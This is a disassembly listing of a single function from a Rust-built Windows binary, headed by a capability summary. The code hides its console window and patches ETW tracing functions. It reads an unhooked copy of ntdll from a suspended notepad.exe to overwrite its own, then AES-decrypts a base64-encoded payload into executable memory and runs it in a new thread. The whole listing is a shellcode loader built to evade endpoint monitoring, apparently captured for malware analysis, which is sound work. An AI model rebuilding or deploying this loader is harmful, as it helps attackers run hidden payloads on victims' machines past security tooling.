Function at 0x140001b90
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Hide graphical window
Inject thread
Link many functions at runtime
Patch event tracing for windows function
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2a8
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x140145170]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1401451c3]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
xorps xmm0, xmm0
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], 0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0xc0], 0x70
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.notepad.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rsi, qword [rsp + 0x80]
call sym.winproc::process::Process::current::heb1355b9cf423327
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0xb0]
call sym.winproc::process::Process::module_list::h8cd8fbc9128ce29d
mov qword [rsp + 0x58], rsi
cmp dword [rsp + 0x80], 4
jne 0x140002633
mov r14, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xa8], rax
mov rbx, qword [rsp + 0x98]
test rbx, rbx
je 0x140001ed9
shl rbx, 4
xor r15d, r15d
movabs r12, 0x6c642e6c6c64746e
nop dword [rax]
movups xmm0, xmmword [r14 + r15]
movaps xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x60]
call sym.winproc::process::module::Module::name::h59ae90719d63a440
cmp dword [rsp + 0x80], 4
jne 0x1400025af
mov rsi, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
lea rcx, [rsp + 0xc0]
mov rdx, rsi
call dbg.to_lowercase
mov rax, qword [0x14017f268]
movzx eax, byte [rax]
mov ecx, 9
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x140002610
mov qword [rax], r12
mov byte [rax + 8], 0x6c
mov rdi, qword [rsp + 0xc0]
cmp qword [rsp + 0xd0], 9
jne 0x140001e80
mov rcx, qword [rdi]
xor rcx, qword [rax]
movzx edx, byte [rdi + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
sete r13b
jmp 0x140001e83
xor r13d, r13d
mov edx, 9
mov r8d, 1
mov rcx, rax
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xc8]
test rdx, rdx
je 0x140001eb1
mov r8d, 1
mov rcx, rdi
call sym.__rust_dealloc
test rbp, rbp
je 0x140001ec7
mov r8d, 1
mov rcx, rsi
mov rdx, rbp
call sym.__rust_dealloc
test r13b, r13b
jne 0x140001f0a
add r15, 0x10
cmp rbx, r15
jne 0x140001dd0
mov rdx, qword [rsp + 0xa8]
test rdx, rdx
je 0x140001ef8
shl rdx, 4
mov r8d, 8
mov rcx, r14
call sym.__rust_dealloc
lea rcx, [rsp + 0xb0]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::he3efb1f17f78a916
xor r15d, r15d
jmp 0x140001f43
lea rcx, [rsp + 0x60]
call sym.winproc::process::module::Module::handle::h7105959e8e2bc8e0
mov r15, rax
mov rdx, qword [rsp + 0xa8]
test rdx, rdx
je 0x140001f36
shl rdx, 4
mov r8d, 8
mov rcx, r14
call sym.__rust_dealloc
lea rcx, [rsp + 0xb0]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::he3efb1f17f78a916
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rsp + 0xc0]
mov r8d, 0x1d
call sym.pelite::mmap::windows::ImageMap::_open::h8caa5206ab990ab2
cmp qword [rsp + 0xc0], 0
je 0x140001fca
mov rax, qword [rsp + 0xc8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x1400020d0
test rcx, rcx
je 0x1400020d0
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
mov rdx, qword [rbx + 8]
test rdx, rdx
je 0x140001fb2
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call sym.__rust_dealloc
jmp 0x1400020d0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x80]
call sym.__pelite::mmap::windows::FileMap_as_core::convert::AsRef__u8___::as_ref::hba092eeffe23ce39
mov rsi, rax
mov rbx, rdx
mov rcx, rax
call sym.pelite::pe64::pe::validate_headers::had5bc06c56b677a2
test al, 1
jne 0x14000277d
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea rcx, [rsp + 0x60]
call sym.__pelite::pe32::file::PeFile_as_pelite::pe32::pe::PeObject_::image::he84c14eff6b05186
mov rcx, rax
call sym.pelite::pe32::pe::section_headers::h09207b9a300a9479
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop
test rcx, rcx
je 0x140002592
lea r14, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, r14
jne 0x140002040
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea rcx, [rsp + 0x60]
call sym.__pelite::pe32::file::PeFile_as_pelite::pe32::pe::PeObject_::image::he84c14eff6b05186
mov rdi, rax
mov rbx, rdx
lea rsi, [rsp + 0x60]
mov rcx, rsi
call sym.__pelite::pe64::view::PeView_as_pelite::pe64::pe::PeObject_::align::h1ce8178c471e88f3
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0xb0]
mov rdx, rdi
mov r8, rbx
mov r9, r14
call sym.pelite::wrap::pe::get_section_bytes::ha7baaddf0159e279
cmp qword [rsp + 0xb0], 0
je 0x14000279b
mov eax, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
add r15, rcx
mov qword [0x140194030], rax
mov qword [0x140194038], r15
lea rcx, [rsp + 0x80]
call sym.__pelite::mmap::windows::FileMap_as_core::ops::drop::Drop_::drop::h9951b1cf9b0dc4bf
lea rax, [0x140194038]
mov qword [rsp + 0x60], rax
lea rax, [sym.core::fmt::num::__impl_core::fmt::LowerHex_for_i64_::fmt::h251acec7289bd7f2]
mov qword [rsp + 0x68], rax
lea rax, [0x1401451f8]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0xc0]
call dbg.format_inner
mov r14, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
mov rsi, qword [0x140194030]
mov r15d, 4
test rsi, rsi
je 0x140002192
mov rax, rsi
shr rax, 0x3d
jne 0x140002767
lea rdi, [rsi*4]
test rdi, rdi
je 0x140002192
mov edx, 4
mov rcx, rdi
call sym.__rust_alloc_zeroed
mov r15, rax
test rax, rax
je 0x14000276e
mov rdx, qword [0x140194038]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x58]
mov r8, r15
mov r9, rsi
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x140002624
mov rdx, qword [0x140194038]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r15
mov r9, rsi
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x140002624
test rsi, rsi
je 0x1400021ff
shl rsi, 2
mov r8d, 4
mov rcx, r15
mov rdx, rsi
call sym.__rust_dealloc
test rbx, rbx
je 0x140002215
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
lea rcx, [0x140145170]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1401451c3]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, section..data
lea rcx, [rsp + 0xc0]
mov r8d, 1
call sym.base64::decode::decode_config::he81f677783b236f1
mov rdi, qword [rsp + 0xc0]
test rdi, rdi
je 0x140002694
mov rsi, qword [rsp + 0xc8]
mov r15, qword [rsp + 0xd0]
lea rdx, [0x1400e0010]
lea rcx, [rsp + 0xc0]
mov r8d, 1
mov qword [rsp + 0xa8], rsi
call sym.base64::decode::decode_config::he81f677783b236f1
mov r12, qword [rsp + 0xc0]
test r12, r12
je 0x1400026d2
mov r13, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xd0]
lea rdx, [0x1400e0020]
lea rcx, [rsp + 0xc0]
mov r8d, 1
call sym.base64::decode::decode_config::he81f677783b236f1
mov rsi, qword [rsp + 0xc0]
test rsi, rsi
je 0x140002713
mov rbp, qword [rsp + 0xc8]
mov r14, qword [rsp + 0xd0]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
cmp rbx, 0x20
jne 0x140002751
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x80]
call sym.libaes::Cipher::new_256::hd0199720e347dcae
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0xc0]
mov r8, rsi
mov r9, r14
call sym.libaes::Cipher::cbc_decrypt::h415244380bd3b24f
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
test rbp, rbp
je 0x140002438
mov r8d, 1
mov rcx, rsi
mov rdx, rbp
call sym.__rust_dealloc
test r13, r13
je 0x14000244e
mov r8d, 1
mov rcx, r12
mov rdx, r13
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xa8]
test rdx, rdx
je 0x140002469
mov r8d, 1
mov rcx, rdi
call sym.__rust_dealloc
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x80], rbx
mov dword [rsp + 0xb0], 0
mov qword [rsp + 0xc0], rbx
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x60]
lea r9, [rsp + 0xc0]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r15
mov r9, rbx
call sub.ntdll.dll_NtWriteVirtualMemory
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
lea r8, [rsp + 0x80]
mov rcx, 0xffffffffffffffff
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xc0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0xc0]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
test r14, r14
je 0x14000257d
mov r8d, 1
mov rcx, r15
mov rdx, r14
call sym.__rust_dealloc
nop
add rsp, 0x2a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x140145238]
lea r8, [0x140145268]
mov edx, 0x2b
call dbg.panic
jmp 0x1400027ce
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
lea rax, [0x1401452b0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400e1050]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::hb9aca0be004a0430
lea r8, [rsp + 0xc0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400027ce
mov ecx, 1
mov edx, 9
call dbg.handle_alloc_error
jmp 0x1400027ce
mov ecx, 1
call dbg.exit
jmp 0x1400027ce
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
lea rax, [0x140145298]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400e1050]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::hb9aca0be004a0430
lea r8, [rsp + 0xc0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400027ce
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x1401452c8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400e1050]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::hc8df7ad405823dd7
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
ud2
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x1401452e0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400e1050]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::hc8df7ad405823dd7
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400027ce
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x80], xmm0
lea rax, [0x1401452f8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400e1050]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::hc8df7ad405823dd7
lea r8, [rsp + 0x80]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400027ce
lea r8, [0x140145310]
mov ecx, 0x20
mov rdx, rbx
call dbg.len_mismatch_fail
jmp 0x1400027ce
call dbg.capacity_overflow
jmp 0x1400027ce
mov ecx, 4
mov rdx, rdi
call dbg.handle_alloc_error
jmp 0x1400027ce
mov byte [rsp + 0x60], ah
lea rax, [0x140145220]
lea rsi, [rsp + 0x60]
mov edx, 6
lea rcx, str.REASONsrc_main.rs
jmp 0x1400027ba
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x60], al
lea rax, [0x140145280]
mov edx, 0x2b
lea rcx, [0x1400e1050]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::hb06155d857980b9a
mov r8, rsi
call dbg.unwrap_failed
ud2